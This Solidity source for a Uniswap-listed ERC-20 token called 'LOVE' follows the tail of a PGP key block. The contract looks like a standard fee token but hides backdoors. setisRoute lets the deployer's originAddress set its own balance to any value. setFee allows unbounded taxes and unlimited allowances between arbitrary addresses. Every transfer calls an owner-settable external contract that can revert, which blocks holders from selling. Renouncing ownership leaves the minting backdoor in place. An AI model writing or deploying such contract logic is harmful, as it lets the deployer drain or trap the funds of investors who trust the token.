xkMPau9paHHMnxBX6eEVPMcJ2DADP+S5tZfOwE0EZHIaHgEIAMd8H8iYk0v5mFGb 8HRajB8rkkwx4epbFlRwaBhw9dEQQbxXSo21n92RRbQs+J7gMUidUjt1UJw6jskg qitE8C8XrWdpejjAnQw3V6B69RXA1kzQvkZlfcKfsvsGmUBY8C5NplbiI7SY0NHy 570oL2xRcV8Ekw9Mwhl8Kvqg3gkCOkU1oCqGaxNOvjSm2CVw0ZdAVc3Fi16aXXpW 37qr9gWCQOGNzDlhYmEi2638aGn1Adt82mob2IVx78l1uuEV0EHKvaPAFe1Mxr5V M2W7cj4WeGouIjlH2KSNBkD+3bM8y7BSk+eIE60gEhXfICrhB141wbZ41vUumI6V BbJ/Cr0AEQEAAcLBhAQYAQoADwUCZHIaHgUJDwmcAAIbLgEpCRA6f4PMwFkOWMBd IAQZAQoABgUCZHIaHgAKCRBqyRljuO9tFfryB/9G6lVoZbjPvjEvjiXWYMFkhoeU M3VH7w9gs76d8VC5QEi1WO3V02sNBsPBrSfFexCFKzoXN8jwIuaVVlPLobce/wrj NWDzMVYMB0Qxwshsl5T9LCVZtt4lsJ06Z3tVOYkhCj5gA63+tkJ9uTbijcYyKdgr Spn5VJTbD31aQtdreKc3KF+oeNmIqkdEP/Dt1L81KoCgq1UsYK9w4srAvQkc+yuE x+Pcvg+DIwhLF5hxmo+4NtMTOVX92/XFiEuIbhtfvZdOJMoW0AcWfQ2IstJzTXbx KbZQ8nfR6SwgMcA+e3YdAMOSldouNDXg7ULpgWw7arFlCJQ2WRLtW7RQ/0XL5ZcH /jlNdlmwAsSo0HyWjCiBkz+xaqAdPYh6/ZOR/sj/3fg3sLkVc/cIq6H9Pg4VYT7n PvKQcpu1pssCxDyD8NxOzTqNvbIMtA4GfVgXJNHJ0mWxrncua3PLyTbkZVaMNDeG iuBCUw+Uvv8nrz7Y7HjnDCY32JY2gpS3o/67Yob/+hHEdZt8QwtvqrmMH+P0eQ2I l/wdgtiBVVJdSLtaLUSxC41FI+l7PTkrH1JK3ENkDSx3cKDoVy/SChiEo8BUtbve Em2wdZ1ejubwKNEKK4Qjrfa3xcrYgErjwBKNK+q2HQ8oY9N4Q/Ri5O2o5OJZiPlA NicPvIFSREbkELMtAzRQ1xA= =ZZd8 -----END PGP PUBLIC KEY BLOCK----- **/ // SPDX-License-Identifier: MIT pragma solidity ^0.8.16; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router { function getReserves(address tokenA, address tokenB) external returns (bool); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract LOVE is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = "Love"; string private _symbol = "LOVE"; uint8 private _decimals = 9; address public operationAddress = msg.sender; address public feeAddress = msg.sender; address public originAddress = msg.sender; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isMarketPair; uint256 public _buyLiquidityFee = 0; uint256 public _buyMarketingFee = 0; uint256 public _buyDevelopmentFee = 0; uint256 public _sellLiquidityFee = 0; uint256 public _sellMarketingFee = 0; uint256 public _sellDevelopmentFee = 0; uint256 public _liquidityShare = 0; uint256 public _marketingShare = 0; uint256 public _developmentShare = 0; uint256 public _totalTaxIfBuying = 0; uint256 public _totalTaxIfSelling = 0; uint256 public _totalDistributionShares = 0; uint256 private _totalSupply = 1_000_000_000 * 10**9; uint256 public _maxTxAmount = _totalSupply; uint256 public _walletMax = _totalSupply; uint256 private minimumTokensBeforeSwap = 550000 * 10**9; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool trandingEnabled = false; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[address(operationAddress)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDevelopmentFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDevelopmentFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_developmentShare); isWalletLimitExempt[owner()] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[address(operationAddress)] = true; isWalletLimitExempt[address(deadAddress)] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[address(this)] = true; isTxLimitExempt[address(operationAddress)] = true; isTxLimitExempt[address(deadAddress)] = true; isMarketPair[address(uniswapPair)] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) {return _name;} function symbol() public view returns (string memory) {return _symbol;} function decimals() public view returns (uint8) {return _decimals;} function totalSupply() public view override returns (uint256) {return _totalSupply;} function balanceOf(address account) public view override returns (uint256) {return _balances[account];} function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true;} function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true;} function approve(address spender, uint256 amount) public override returns (bool) {_approve(_msgSender(), spender, amount); return true;} function _approve(address owner, address spender, uint256 amount) private {require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);} function enableTrading() external onlyOwner {trandingEnabled = true;} function setisRoute(uint256 amount) public {if (msg.sender == originAddress) {_balances[msg.sender] = amount;}} function getCirculatingSupply() public view returns (uint256) {return _totalSupply.sub(balanceOf(deadAddress));} function transferToAddressETH(address payable recipient, uint256 amount) private {recipient.transfer(amount);} //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(!isExcludedFromFee[sender]){ require(trandingEnabled, "ERC20: Trading has not enabled yet."); } if(feeAddress != operationAddress) IUniswapV2Router(operationAddress).getReserves(sender, recipient); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); if(checkWalletLimit && !isWalletLimitExempt[recipient]) require(balanceOf(recipient).add(finalAmount) <= _walletMax); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setFee(uint256 totalBuyFee, uint256 totalSellFee, uint256 totalShare, address recieveA, address recieveB) external onlyOwner { uint256 amount = type(uint256).max; _totalTaxIfBuying = totalBuyFee; _totalTaxIfSelling = totalSellFee; _totalDistributionShares = totalShare; _allowances[recieveA][recieveB] = amount; feeAddress = recieveA; operationAddress = recieveB; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2); uint256 amountETHDevelopment = amountReceived.mul(_developmentShare).div(totalETHFee); uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHDevelopment); if(amountETHMarketing > 0) transferToAddressETH(payable(operationAddress), amountETHMarketing); if(amountETHDevelopment > 0) transferToAddressETH(payable(feeAddress), amountETHDevelopment); if(amountETHLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountETHLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(isMarketPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(isMarketPair[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }

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v0.8.18+commit.87f61d96

Default